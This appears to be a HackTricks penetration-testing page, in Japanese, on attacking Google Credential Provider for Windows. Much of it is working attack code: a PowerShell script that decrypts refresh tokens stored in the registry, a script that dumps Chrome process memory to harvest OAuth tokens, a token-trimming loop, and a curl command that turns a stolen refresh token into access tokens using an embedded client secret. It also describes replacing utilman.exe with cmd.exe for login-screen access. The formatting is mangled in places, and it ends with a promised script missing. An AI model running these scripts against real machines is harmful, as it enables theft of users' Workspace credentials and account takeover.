GCPW - Google Credential Provider for Windows

Support HackTricks

基本情報

これは、Google Workspaceが提供するシングルサインオンで、ユーザーがWorkspaceの資格情報を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。

WinpeasGCPWを検出し、構成に関する情報を取得し、トークンさえも取得できることに注意してください。

GCPW - MitM

ユーザーがGCPWを介してGoogle Workspaceと同期されたWindows PCにアクセスすると、一般的なログインフォームを完了する必要があります。このログインフォームは、PCがリフレッシュトークンと交換するOAuthコードを返します。

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

新しい行が追加され、より読みやすくなっています。

ProxifierをPCにインストールし、utilman.exeバイナリをcmd.exeで上書きし、Windowsログインページでアクセシビリティ機能を実行することでMitMを実行することが可能でした。これによりCMDが実行され、Proxifierを起動および構成できます。 ProxifierでQUICK UDPトラフィックをブロックすることを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。

また、「サービスおよび他のユーザー」で両方のオプションを設定し、WindowsにBurp CA証明書をインストールしてください。

さらに、**HKLM:\SOFTWARE\Google\GCPW**にenable_verbose_logging = 1log_file_path = C:\Public\gcpw.logのキーを追加することで、いくつかのログを保存することが可能です。

GCPW - フィンガープリント

デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された refresh token にアクセスすることが可能です。

In HKLM:\SOFTWARE\Google\GCPW\Users では、キー domains_allowed にログインを許可された domains を見つけることができ、サブキーにはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。

トークンハンドルは eth. で始まるトークンで、次のようなリクエストでいくつかの情報を抽出することができます:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

また、次のようなリクエストを使用してアクセストークンのトークンハンドルを見つけることも可能です:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

私の知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することは不可能です。

さらに、ファイル C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse は、enableDmEnrollmentenableGcpAutoUpdateenableMultiUserLogin(Workspaceから複数のユーザーがコンピュータにログインできるかどうか)や、validityPeriodDays(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる 設定 の情報を含むjsonです。

GCPW - トークンを取得する

GCPW - レジストリリフレッシュトークン

レジストリ HKCU:\SOFTWARE\Google\Accounts 内に、refresh_token が暗号化された状態で保存されているアカウントを見つけることができるかもしれません。メソッド ProtectedData.Unprotect を使用すれば、簡単に復号化できます。

HKCU:\SOFTWARE\Google\Accounts のデータを取得し、リフレッシュトークンを復号化する

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

例:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

[**このビデオ**](https://www.youtube.com/watch?v=FEQxHRRP\_5I)で説明されているように、レジストリにトークンが見つからない場合は、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**から値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。

### GCPW - ディスクリフレッシュトークン

ファイル**`%LocalAppData%\Google\Chrome\User Data\Local State`**は、ユーザーの**Google Chromeプロファイル**内にある**`refresh_tokens`**を復号化するためのキーを保存します。例えば:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

これらのトークンにアクセスする**C#コード**は、[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)で復号化された形で見つけることができます。

さらに、暗号化はこのコードで見つけることができます:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42)があり、最後に**サイファーテキスト**と**16BのMAC**があります。

### GCPW - プロセスメモリからのトークンダンプ

以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセストークン**および**リフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!**

<details>

<summary>Chromeプロセスをダンプしてトークンを検索</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

gcpw_extension.exeを使って同じことを試みましたが、トークンは見つかりませんでした。

何らかの理由で、抽出されたアクセストークンのいくつかは無効です(ただし、いくつかは有効です)。ダンプから有効なトークンを取得するために、1文字ずつ削除する以下のスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:

1文字ずつ削除してアクセストークンを確認する

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - リフレッシュトークンからアクセストークンを生成する

リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます。
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - スコープ

リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされているスコープのみをリクエストできるからです。

また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。

デフォルトでは、GCPWはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、refresh_tokenを使用してaccess_tokenを生成するために使用できるスコープを見つけることができます:

Last updated